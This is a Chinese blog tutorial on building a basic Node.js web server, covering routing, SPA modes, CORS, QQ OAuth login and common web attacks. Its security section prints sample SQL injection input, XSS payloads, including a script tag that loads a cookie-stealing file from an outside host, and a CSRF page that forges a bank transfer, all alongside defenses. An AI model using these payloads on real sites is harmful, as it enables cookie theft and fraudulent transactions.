从零构建一个 web 应用需要考虑的问题

已于 2024-01-20 18:14:17 修改
阅读量72 收藏
点赞数
文章标签： 前端 javascript 开发语言
于 2023-02-01 18:39:56 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/dzqxwzoe/article/details/128838721
版权

现在前端发展日新月异，有了 nodejs 之后，甚至开始进入后端领域了。发展太快有好有坏，好处就是技术更新很快，工具特别多，用起来很方便，坏处就是不少人只会用工具，没有去深入了解原理，这样会导致基础知识缺失，一是使用工具遇到问题的时候，不知道问题出在哪里，二是当有问题找不到合适的工具来解决的时候，自己写不出一个这样的工具，只能干着急。

本文用 nodejs 写了一个简易的后端服务器，比不上 express 这类工具强大，仅仅为了便于学习基础原理，请谨慎用于生产环境。

考虑的几个要点有：

  • 目录和路由管理

  • 跨域问题

  • 登录管理

  • 安全问题

  • ...

构建

1.mkdir basic && cd basic && npm init 新建一个文件夹，进入该文件夹并创建一个 package.json 文件，选项全部选择默认，一气呵成 2.新建一个文件叫 index.js，使用你喜欢的编辑器打开并输入以下代码并保存

const http = require('http')
​
http.createServer((req, res) => {res.writeHead(200, {'Content-Type': 'text/plain'});res.end('Hello World\n');
}).listen(8888);
​
console.log('Server is running at http://localhost:8888/');

3.打开终端，cd 到 basic 文件所在的目录，运行 node index.js，在浏览器中打开 http://localhost:8888/ 看到 Hello World

做完上面的3个步骤，使用 nodejs 搭建的一个最基本的 Web 应用就运行起来了，下面我们一边解决问题一边完善这个应用。

目录和路由管理

前后端分离

现在的 Web 应用，基本上都是前后端分离的，后端文件目录一般是怎样的呢？在浏览器中输入一个 URL 的时候，服务端如何判断请求的是前端的一个页面还是后端服务的一个接口呢？比如服务端接受到 http://localhost:8888/login 这个 URL 请求的时候，是返回登录页的 html 文件呢，还是进行登录逻辑的操作呢？

1.在 nginx 等 Web 服务器会让用户手动指定静态文件目录，一般在 static/ 目录中放置静态文件，包括 html/css/js/image 等一切前端的文件。 2.后端接口一般会以 api/ 开头提供接口服务，这样就能分辨一个 URL 到底是接口请求还是静态文件请求了。

SPA 大法好

现在最常见的前端框架 Vue/React 都默认提供 SPA(Single Page Application 单页应用) 应用，也就是整个网页都是一个页面，URL 的变化不再和以前一样需要后端返回新的页面，而是前端在检测到 URL 变化的时候动态更新页面的某一部分。

SPA 的好处：

1.不用重新加载新的页面 2.丝滑过渡 3.减轻服务端压力

缺点：

1.不利于 SEO，优化方案：SSR(Serve Side Render, 服务端渲染) 2.初次加载耗时增加，优化方案：骨架屏 等 3.页面导航需要自己实现，例如 window.history.pushState('') ，解决方案：vue-router/react-router

实现 SPA 有两种方法，一种就是 Hash 模式，另一种是 History 模式。

hash 模式

hash 指的是 window.location.hash，如果我们在浏览器的控制台中输入 window.location.hash = 'qq' 会发现当前 URL 后加上了 #qq。

URL 后面带上 # 表示一个锚点 anchor，原本的作用是用来将页面定位到 HTML 中 id='qq' 这样的元素的地方的。例：github.com/strapi/stra…

hash 值的变化并不会让浏览器去请求服务器，而会触发 window 的 hashchange 事件，我们用 window.addEventListener('hashchange', function(){ //加载指定页面 }) 就可以实现 URL 变化，不去请求后端也能获得页面更新了。

hash 模式的优点有：

1.兼容性好，达到 IE8 2.Vue 和 React 的 router 都默认支持 hash 路由，因为 hash 模式不需要服务端进行任何设置和开发

缺点也很明显：

1.锚点功能和路由机制冲突 2.很丑

history

history 模式并没有 hash 模式的缺点，

缺点有一点，但都有比较好的解决方案：

1.只兼容 IE10 以上，因为 window.history.pushState('') 方法 IE10 以上才有，解决方案：用 location.hash 直接修改 hash 值的方式来代替 pushState 2.后端需要开发量，但是很小，参考 router.vuejs.org/zh/guide/es…

写码时间

下面是 index.js 文件：

const http = require('http');
const url = require('url');
const fs = require('fs');
const path = require('path');
const config = require('./config');
​
http.createServer((req, res) => {const reqUrl = url.parse(req.url);if (/^\/api\//.test(reqUrl.pathname)) {// 如果是 /api/ 开头的请求，则是接口请求res.writeHead(200, {'Content-Type': 'text/plain'});res.end(reqUrl.href);} else {// 如果不是 /api/ 开头的请求，优先去 /static/ 文件夹中寻找静态文件，如果没有找到就返回 index.htmlfs.readFile(config.staticDir + reqUrl.pathname, (err, data) => {if (err) {fs.readFile(config.staticDir + '/index.html', 'utf-8', (err, data) => {if (err) {console.log('We cannot open "index.html" file.')}res.writeHead(200, {'Content-Type': 'text/html; charset=utf-8'});res.end(data) ;})} else {res.writeHead(200, {'Content-Type': config.contentTypes[path.extname(reqUrl.pathname)]});res.end(data);}});}
}).listen(8888);
​
console.log(`Server is running at http://localhost:${config.port}/`);

下面是 config.js 文件

const config = {port: 8888,staticDir: './static',contentTypes: {'.html': 'text/html;charset=utf-8','.js': 'text/javascript','.css': 'text/css'}
};
​
module.exports = config;

然后是 static/index.html 文件

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>test</title><link rel="stylesheet" href="./index.css">
</head>
<body><p class="p">首页</p><script src="./index.js"></script>
</body>
</html>

然后是 static/index.css 文件

.p {color: red;
}

然后是 static/index.js 文件

console.log('首页');

跨域问题

什么是跨域问题

  • 跨域，是指浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的，是浏览器对JavaScript实施的安全限制。

  • 如果不进行配置则无法请求另一个域的接口。

  • 域名、协议、端口均相同才算同源。

跨域问题怎么解决

跨域问题的解决方案: jsonp、CORS

jsonp

利用了 script 标签允许跨域的性质，请求服务端接口的时候 url 带上一个 jsonCallbackName，服务端返回数据的时候在外面包上这个函数名，直接上代码

const jsonp = (url, params, success) => {const head = $('head');const script = document.createElement('script');const jsonCallbackName = 'jsonCallback_' + ~~(Math.random()*1000000);head.appendChild(script);script.src = getUrl(url, {...params, jsonCallbackName});window[jsonCallbackName] = function(json) {window[jsonCallbackName] = null;head.removeChild(script);success && success(json);}
}

服务端也要做相应处理

// get 请求处理
if (pathname === '/api/get/1') {const data = JSON.stringify({code: 200,data: href});if (params['jsonCallbackName']) {res.end(`${params['jsonCallbackName']}(${data})`)}res.end(data);
}

jsonp 的最大的缺点是只能发 get 请求。

CORS

CORS 是 Cross-origin resource sharing 的简称，意为“跨域资源共享"。

浏览器把 http 请求分为简单请求和非简单请求，简单请求满足以下几点：

1.请求方式为 HEAD、POST 或者 GET 2.http 头信息不超出一下字段：Accept、Accept-Language 、 Content-Language、 Last-Event-ID、 Content-Type(限于三个值：application/x-www-form-urlencoded、multipart/form-data、text/plain)

对于简单请求，浏览器直接发出 CORS 请求，具体就是在 header 中增加 Origin 字段，值是发起请求的页面的域。服务端根据 Origin 的值来确定是否允许跨域操作。如果允许则在返回中多加入两个 header:

Access-Control-Allow-Origin: 'http://localhost:8888'
Access-Control-Allow-Credentials: true

其中

1.Access-Control-Allow-Origin 字段是必须的，值一般设置为请求的 Origin 头的值，不推荐设置为 *, 一是不安全，二是不方便设置 cookie 2.Access-Control-Allow-Credentials 用来允许服务端跨域使用浏览器的 cookie，同时客户端必须设置 xhr.withCredentials = true 才可以正常传输 cookie

对于非简单请求，则浏览器会自动先发出一个预检请求(preflight)，比如我们通过设置 xhr.setRequestHeader('Content-type', 'application/json') 来开启非简单请求。请求的 Method 为 OPTIONS，另外还会增加二个特殊的 header 字段

Access-Control-Request-Method: 'GET'// 如果有其他的特殊 Method 也需要加上，比如 PUT DELETE等，用逗号分开
Access-Control-Request-Headers: 'Content-type'// 如果有其他的特殊头需要手动加上，用逗号分开

预检请求在对 Origin、Access-Control-Request-Method 和 Access-Control-Request-Headers 进行合法性判断后，就可以做出回应：

Access-Control-Allow-Origin: 'http://localhost:8000'
Access-Control-Allow-Methods: 'GET,POST,OPTIONS'// 返回所有支持的方法，避免再次预检
Access-Control-Request-Headers: 'Content-type'
Access-Control-Allow-Credentials： true
Access-Control-Max-Age: 86400 // 缓存时间，单位为秒

特别需要注意的是如果在浏览器中调试，需要开启缓存，才不会每次都去发起预检请求。

写码时间

先是前端的 get 和 post 方法

const get = (url, params, callback) => {const xhr = new XMLHttpRequest();xhr.open('GET', getUrl(url, params), true);xhr.setRequestHeader('Content-type', 'application/json'); // 开启非简单请求xhr.withCredentials = true;xhr.send();xhr.onreadystatechange = () => {if (xhr.readyState === 4) {if (xhr.status === 200) {callback && callback(xhr.responseText);} else {alert('出错了，状态码: ' + xhr.status);}}};
}
​
const post = (url, params, callback) => {const xhr = new XMLHttpRequest();xhr.open('POST', url, true);xhr.setRequestHeader('Content-type', 'application/json'); // 开启非简单请求xhr.withCredentials = true;xhr.send(JSON.stringify(params));xhr.onreadystatechange = () => {if (xhr.readyState === 4) {if (xhr.status === 200) {callback && callback(xhr.responseText);} else {alert('出错了，状态码: ' + xhr.status);}}};
}

然后是后端的处理逻辑

const allowOrigins = ['http://localhost:8888', 'http://localhost:8889'];
if (req.headers.origin && allowOrigins.indexOf(req.headers.origin) > -1) {res.setHeader('Access-Control-Allow-Origin', req.headers.origin);res.setHeader('Access-Control-Allow-Credentials', true);res.setHeader('Access-Control-Allow-Methods', 'GET,POST,OPTIONS');res.setHeader('Access-Control-Allow-Headers', 'Content-Type');res.setHeader('Access-Control-Max-Age', 24 * 3600);
}

登录管理

如果使用第三方授权登录，例如 QQ 互联，那么用户、应用服务器、QQ 互联这三方有以下几个规则：

1.应用服务器不需要知道我的用户名和密码，所以登录页面应该在 QQ 互联提供的页面上 2.应用必须要获得 QQ 互联的授权才能使用服务，应用违规可以取消授权

一个 OAuth 2.0 的应用如下

写码时间

const NodeSession = require('node-session');
const session = new NodeSession({secret: 'test'
});
http.createServer((req, res) => {session.startSession(req, res, () => {// ...// 登录if (pathname === '/api/login') {res.writeHead(301, {Location: `https://graph.qq.com/oauth2.0/authorize?response_type=code&client_id=${config.qqConnect.AppID}&redirect_uri=${encodeURIComponent('http://localhost:8888/api/qqcallback')}&state=${csrf_token}`});res.end();return}// 登录成功后的回调，带上了 authorization_codeif (pathname === '/api/qqcallback') {if (params.state === csrf_token) {// 通过 authorization_code 获取 access_tokenrequest.get({url: `https://graph.qq.com/oauth2.0/token?grant_type=authorization_code&client_id=${config.qqConnect.AppID}&client_secret=${config.qqConnect.AppKey}&code=${params.code}&redirect_uri=${encodeURIComponent('http://localhost:8888/api/qqcallback')}`}, (err, response) => {if (err) {res.writeHead(200, {'Content-Type': 'text/plain'});res.end('csrf token 验证失败');} else {response = parseQuery(response.body);req.session.put('access_token', response.access_token);console.log('csrf_token: ' + JSON.stringify(response));// 通过 access_token 获取 openidrequest.get({url: `https://graph.qq.com/oauth2.0/me?access_token=${response.access_token}`}, (err, openidResponse) => {if (err) {res.writeHead(200, {'Content-Type': 'text/plain'});res.end('csrf token 验证失败');} else {openidResponse =JSON.parse(openidResponse.body.replace('callback(', '').replace(');', ''));req.session.put('openid', openidResponse.openid);console.log('openid: ' + JSON.stringify(openidResponse.openid));res.writeHead(301, {Location: 'http://localhost:8888/'});res.end();return}})}})} else {res.writeHead(200, {'Content-Type': 'application/json'});res.end(JSON.stringify({code: 10002,msg: 'csrf token 验证失败'}));}return}// 通过 access_token 和 openid 获取用户昵称等if (pathname === '/api/getUserInfo') {const access_token = req.session.get('access_token', '');const openid = req.session.get('openid', '');if (access_token && openid) {request.get({url: `https://graph.qq.com/user/get_user_info?access_token=${access_token}&oauth_consumer_key=${config.qqConnect.AppID}&openid=${openid}`}, (err, userInfo) => {userInfo = userInfo.body;res.writeHead(200, {'Content-Type': 'application/json'});if (err) {res.end(JSON.stringify({code: 10001,msg: '获取用户信息失败'}));return}res.end(userInfo);})} else {res.writeHead(200, {'Content-Type': 'application/json'});res.end(JSON.stringify({code: 10000,msg: '未登录'}));}return}

缓存问题

安全问题

所有的输入都是不可靠的。

如果太相信输入，不对输入做校验或者处理，很容易受到 SQL 注入、XSS、CSRF 这三类常见攻击。

SQL 注入

所谓 SQL 注入式攻击，就是攻击者把SQL命令插入到 Web 表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的 SQL 命令。 攻击者通过在应用程序预先定义好的 SQL 语句结尾加上额外的 SQL 语句元素，欺骗数据库服务器执行非授权的查询，篡改命令。

案例

-- 假设的登录查询
SELECT * FROMusersWHERE login = 'victor' AND password = '123
-- Sever端代码
String sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";
-- 输入字符
formusr = ' or 1=1
formpwd = anything
-- 实际的查询代码
SELECT * FROM users WHERE username = ' ' or 1=1AND password = 'anything'

防范

  • 服务端特殊字符过滤: <、>、* 、& 等

  • 使用 ORM 框架

  • 参数化 SQL 查询语句

XSS 攻击

XSS 全称(Cross Site Scripting) 跨站脚本攻击， 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的. 比如获取用户的Cookie，导航到恶意网站，携带木马等。XSS 分为反射型和持久型。

反射型案例

对于用户输入直接返回

<?php
if (! isset($_GET['name'])) {
 header('Location: index.php?name=world');
 exit();
}
$name = $_GET['name'];
echo "Hello $name";
?>

用户访问 xss.php?name=%3cscript%3Ealert(document.cookie)%3C/script%3E 就直接打印出了 cookie

存储型 XSS

用户填写个性签名，填了一个 <script src="http://mysite.com/getcookie.js"></script>，而 getcookie.js 可以直接获取到 document.cookie 并保存在黑客的服务器。这样每个用户访问该用户的个性签名的页面时候，都会被记录下 cookie。存储型 XSS 造成的影响范围比反射型 XSS 的更广。

防范

  • 前端敏感字符串过滤

  • 后端敏感字符串过滤

CSRF 漏洞

CSRF（Cross-site request forgery），中文名称：跨站请求伪造。指的是攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账等造成个人隐私泄露甚至财产安全。

案例

如果用户访问了某一个银行的网站忘记登出了， 然后又访问了一个恶意网站，而恶意网站中存在以下代码，那就会发生 CSRF 攻击

<html>
<head><script type="text/javascript"> function steal() {iframe = document.frames["steal"];iframe.document.Submit("transfer");} </script>
</head>
<body οnlοad="steal()">
 <iframe name="steal" display="none"> <form method="POST" name="transfer"&emsp;action="http://www.myBank.com/Transfer.php"> <input type="hidden" name="toBankId" value="11"> <input type="hidden" name="money" value="1000"> </form>
 </iframe>
</body>
</html>

防范

  • 验证码机制

  • csrf_token 机制


                

        

        

    




    

      

        

            

              
                
                  程序员小强_
                
              
            

            

                关注
              
            

        

        

          
    
            
  • 
              
                
                
                
                
                      0
                
              
              
    点赞
    
            
    • 
            
  • 
              
                
                
                
              
              
    踩
    
            
    • 
            
  • 
              
                
                
                
                
                    0
                
              
              
    
                
    
                  
                    收藏
                  
                
    
              
    
              
    
                
    
                  觉得还不错?
                  
                    一键收藏
                  
                 
                
    
              
    
            
    • 
          
  • 
            
    
              
              
            
    
              
              
              
                    0
              
            
            
    评论
    
          
    • 
          
  • 
          
    • 
          
  • 
            
              
            
              
    
            
              
                
            
    
          
    • 
        

      

      










                



	

		

			

				
					
基于Web的应用系统开发中应该重点注意的几个问题

				
			

			

				

					mrzhym的专栏
				

				

					09-18
					
					896
					
				

			

		

		

			
				
<br />随着互联网基础设施的不断改进和Web应用技术的快速发展，基于Web的应用系统在应用系统开发中所占的比重越来越大。与传统的基于C/S结构的应用系统相比，基于B/S结构的应用系统具有如下优点：<br />1、客户端电脑一般不用安装任何专门的软件，只要浏览器的支持即可。正因为这一点，所以对客户端电脑的硬件要求也相应的降低。<br />2、数据一般在服务器端集中存放，因而系统维护和升级方式简单。<br />3、系统软件的选择余地比较大，成本大幅度降低。<br />4、作为一种新兴的技术，立足于成熟技术和

			
		

	



                

              
                



	

		

			

				
					
从零写一个JavaWEB框架的演进共13页.pdf.zip

				
			

			

				

					10-28
				

			

		

		

			
				
【标题】"从零写一个JavaWEB框架的演进共13页.pdf" 提供的信息表明，这是一个关于构建Java Web框架的教程，共分为13个页面，详细讲解了从无到有创建一个Web框架的过程。这个过程通常涵盖了一系列关键的技术和概念，...

			
		

	



                


  
              

                


	

		

			

				
					
Web应用开发中的几个问题

				
			

			

				

					weixin_34216196的博客
				

				

					01-27
					
					112
					
				

			

		

		

			
				
Introduction
　　由于Ajax技术在Gmail中的成功应用和高性能的V8引擎的推出使得编写Web应用变得流行 起来，使用前端技术也可以编写具有复杂交互的应用。相对于native应用，Web应用具 有如下优点：

跨平台，开发和维护成本低；
升级和发布方便，没有版本的概念，随时随地发布，用户没有感知，不需要安装；
响应式设计(Responsive Design)使得Web应用可...

			
		

	





	

		

			

				
					
web应用开发常见问题解决总结

				
			

			

				

					weixin_34015566的博客
				

				

					05-14
					
					401
					
				

			

		

		

			
				
一、两个核心
F12浏览器调试工具、IDE-Debug调试
这两个东西一定必须会灵活使用，它们是web应用开发问题解决技巧的核心。
学习网址：
debug：segmentfault.com/a/119000000…
chrome开发者工具文档：www.css88.com/doc/chrome-…
前端chrome浏览器调试总结：www.jianshu.com/p/b25c5b88b…
二、常见错误...

			
		

	



		

			
		



	

		

			

				
					
web开发常见问题

				
			

			

				

					谁D了我的BUG
				

				

					07-19
					
					630
					
				

			

		

		

			
				
服务器启动时报错，如何进行错误排查
情况1:服务器中没有项目,服务器启动报错.如果不能修复,则迅速移除掉我们之前的tomcat,再重写解压一份全新的tomcat,重新集成到Eclipse中.该情况占未来开发的1%.
情况2:服务器中有项目,服务器启动报错,是项目的问题造成服务器启动报错. 该情况占未来开发的99%.
如果是由项目造成的服务器启动报错,则一定是web.xml中的配置出现了错误.
(1...

			
		

	





	

		

			

				
					
Web 网站开发

				
			

			

				

					misszhang_的博客
				

				

					09-10
					
					1643
					
				

			

		

		

			
				
之前只是用Java进行本地开发，没有进行Java web开发，有时间可以系统的学习一下web开发，中间涉及的名词太多了，一一列举一下，用于整理记录

开发模式

混合开发模式-mvc开发模式-前后端分离模式，各有利弊。

混合开发：简单成本低，适合小型系统开发，

mvc开发模式：解耦前后端，后端三层架构，效率更高，前端数据的传参，收参问题，仍然是后端负责；

前后端分离：完全的前后端分离，前端有自己服务器，解决一系列的路由、传参、收参问题。

前端的发展

html（静态页面）+CS...

			
		

	





	

		

			

				
					
jgtx:架构探险从零开始写Java Web框架

				
			

			

				

					03-23
				

			

		

		

			
				
"jgtx"项目正是这样一个从零开始构建的Java Web框架，旨在帮助开发者更好地理解和掌握Web应用的架构设计。在这个框架中，"common"模块作为基础，为其他模块提供了通用的服务和功能，类似于Spring MVC中的核心组件。 ...

			
		

	





	

		

			

				
					
架构探险 从零开始写WEB框架

				
			

			

				

					07-01
				

			

		

		

			
				
在《架构探险：从零开始写WEB框架》中，作者引领读者深入理解Web框架的核心原理，逐步构建一个Java Web框架。这个过程涵盖了多种关键的技术点，对于想要提升为架构师或者深化Web开发技能的程序员来说，是极具价值的...

			
		

	





	

		

			

				
					
cpp-oat一个纯C实现零依赖面向性能的Web服务开发框架

				
			

			

				

					08-15
				

			

		

		

			
				
它的设计目标是提供高效的性能，同时保持简洁的API和易于理解的代码结构，使得开发者能够快速构建高性能的Web应用程序。  在深入探讨`oatpp`的知识点之前，我们先来理解一下什么是Web服务开发框架。Web服务开发框架...

			
		

	





	

		

			

				
					
一款零配置、无骨架、极小化的Hyperf发行版，通过Nano可以让您仅仅通过1个PHP文件即可快速搭建一个Hyperf应用

				
			

			

				

					06-21
				

			

		

		

			
				
总结来说，Nano是Hyperf框架的一个轻量级版本，专为快速构建Web应用而设计。它简化了开发流程，降低了配置复杂性，提供了高效的性能，并且兼容PHP生态，为开发者带来高效、灵活且易于维护的开发体验。无论是个人项目...

			
		

	





	

		

			

				
					
Web开发的常见问题解答

				
			

			

				

					sdtsfhh的专栏
				

				

					04-24
					
					1197
					
				

			

		

		

			
				
首先声明一点,这篇原创帖子是我的一点心得,总结了在Web开发过程中的一些技术问题（以面试官的角色）,有不对的地方,请大家批评指正.问题如下:(顺序比较乱,望海涵)1、Web开发中的三层体系指的是什么？在各层中分别用到了什么技术？2、javascript和java有什么关系？各自的语言特点是什么？3、CSS是什么，有什么用处？4、对Web2.0了解吗？核心的技术是什么？5、面向对象编程相比较

			
		

	





	

		

			

				
					
WEB开发各种问题及解决方法汇总

				
			

			

				

					Michael Ran
				

				

					10-11
					
					742
					
				

			

		

		

			
				
1.作为WEB开发者，当前来说很多情况下是需要喝很多js插件打交道的，用得很多的一个表格插件jqGrid肯定是其中的佼佼者，但是也很有可能会出一些问题，要是没注意可能会折磨死你，下面是一些关于jqGrid的问题及解决办法：
（1）有时候当我们写完一个jqGrid之后会发现caption的宽度大于内容面板的宽度，形如下面的情况：
问题原因很简单，在jqGrid的属性or参数设置时，height必

			
		

	





	

		

			

				
					
Web开发常见问题汇总

					
热门推荐

				
			

			

				

					欲变世界，先变其身
				

				

					11-09
					
					2万+
					
				

			

		

		

			
				
Scope注解是Spring IOC容器中的一个作用域，在Spring IOC容器中具有以下几种作用域：基本作用域singleton（单例）、prototype（多例），Web作用域（reqeust、session、globalsession），自定义作用域。

			
		

	





	

		

			

				
					
理解PWA，它究竟解决了Web应用的哪些问题

				
			

			

				

					前端全栈开发者
				

				

					11-11
					
					831
					
				

			

		

		

			
				
点击上方“做工程师不做码农”，并“置顶公众号”第一时间接收我的随机文章01—什么是 PWAPWA，全称是 Progressive Web App，翻译过来就是渐进式网页应用。根据字面意思，它就是“渐进式 +Web 应用”。对于 Web 应用很好理解了，就是目前我们普通的 Web 页面，所以 PWA 所支持的首先是一个 Web 页面。至于“渐进式”，就需要从下面两个方面来理解。站在 Web 应用开发...

			
		

	





	

		

			

				
					
Web应用程序的开发步骤

				
			

			

				

					epic2005
				

				

					06-28
					
					967
					
				

			

		

		

			
				
如今已进入了web2.0高速发展的互联网时代，各种互联网的Web应用程序如雨后春笋般出现。那么作为一名Web开发人员，怎样去开发一款优秀的Web应用程序呢？这个问题没有一个简单的答案，甚至那些教育机构都未必能清楚的知道。所以，像大多数在这个领域里的web开发人员一样，我们只是通过去做，去实验才学会了这些。没有人告诉我们如何去做，我们从给自己做点什么东西开始，学会如何开发web应用程序是在这

			
		

	





	

		

			

				
					
Vuex 核心揭秘：打造高效前端状态库

				
			

			

				

					a3098448071的博客
				

				

					07-03
					
					1133
					
				

			

		

		

			
				
状态（State）类似于 Vue 组件的data属性，用于存储组件的响应式数据。在 Vuex 中，state用于存储整个应用的全局状态。Getters类似于 Vue 组件的computed计算属性，它们用于从其他数据派生出新的数据。在 Vuex 中，getters用于从state中派生出一些状态，这些状态可以根据state的变化而缓存或重新计算。Mutations类似于 Vue 组件的methods中的方法，用于改变组件的data。在 Vuex 中，mutations用于改变state。

			
		

	





	

		

			

				
					
WHAT - NextJS 的路由系统和 react-router-dom

				
			

			

				

					weixin_58540586的博客
				

				

					07-04
					
					945
					
				

			

		

		

			
				
不，Next.js 的路由系统并不基于。Next.js 本身内置了自己的路由系统，并且在其生命周期和工作方式上与有所不同。

			
		

	





	

		

			

				
					
Vue前端打包

				
			

			

				

					weixin_63680330的博客
				

				

					07-04
					
					351
					
				

			

		

		

			
				
介绍:Nginx是一款轻量级的Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器。其特点是占有内存少，并发能力强，在各大型互联网公司都有非常广泛的使用。启动：双击nginx.exe 文件启动，服务器默认占用80端口。官网:https://nginx.org/打包好的dist目录赋值到html下。html静态资源文件目录。conf 配置文件目录。logs日志文件目录。temp临时文件目录。

			
		

	





	

		

			

				
					
Haproxy搭建Web群集

					
最新发布

				
			

			

				

					wkysdhr的博客
				

				

					07-08
					
					719
					
				

			

		

		

			
				
Haproxy 是目前比较流行的一种群集调度工具，同类群集调度工具有很多，如LVS 和Nginx。相比较而言，LVS 性能最好，但是搭建相对复杂;Nginx的upstream模块支持群集功能，但是对群集节点健康检查功能不强，高并发性能没有 Haproxy好。

			
		

	





	

		

			

				
					
The WebSocket Handbook

				
			

			

				

					03-25
				

			

		

		

			
				
6. **示例应用**：提供一个由Jo Franchetti贡献的示例应用程序，展示如何从零开始构建一个基于WebSocket的Web应用。  7. **技术审查与反馈**：感谢技术审查者Jonathan Mercier-Ganady和编辑审查者Jo Stichbury的专业...

			
		

	



              



  
“相关推荐”对你有帮助么？

  

      
    
          
  • 
              
    
                  
                  
              
    
              
    非常没帮助
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    没帮助
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    一般
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    有帮助
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    非常有帮助
    
          
    • 
      

      

      

          
          提交
      

      

  




          




        



    





    



      

      

        
      

      





	

		评论	
	

	
	




  

    

      添加红包
      
    

    

      

        
        

          
          
        

        
请填写红包祝福语或标题

      

      

        
        

          
          个
        

        
红包个数最小为10个

      

      

        
        

          
          元
        

        
红包金额最低5元

      

      

        
        

          当前余额3.43元
          前往充值 >
        

      

      

        

          需支付：10.00元
        

        
        
      

    

  





  

    
    
  

  

    
    
  








  

    

      

        

          

            
            
成就一亿技术人!

          

          

        

        

          

          

            领取后你会自动成为博主和红包主的粉丝
            规则
          

        

      

      

        

          

            
              
            
            

              
hope_wisdom
 发出的红包
            

          

        

        

          

          

          

        

      

    

    

  



      
      

      
实付元

      
使用余额支付

      

        

          

            
            点击重新获取
          

        

        
扫码支付

      

      

        
          
            
          
          
        
      

      

        
        钱包余额
          0
          

            
            

              

                
抵扣说明：

                
 1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
 2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

              

            

          

      

      余额充值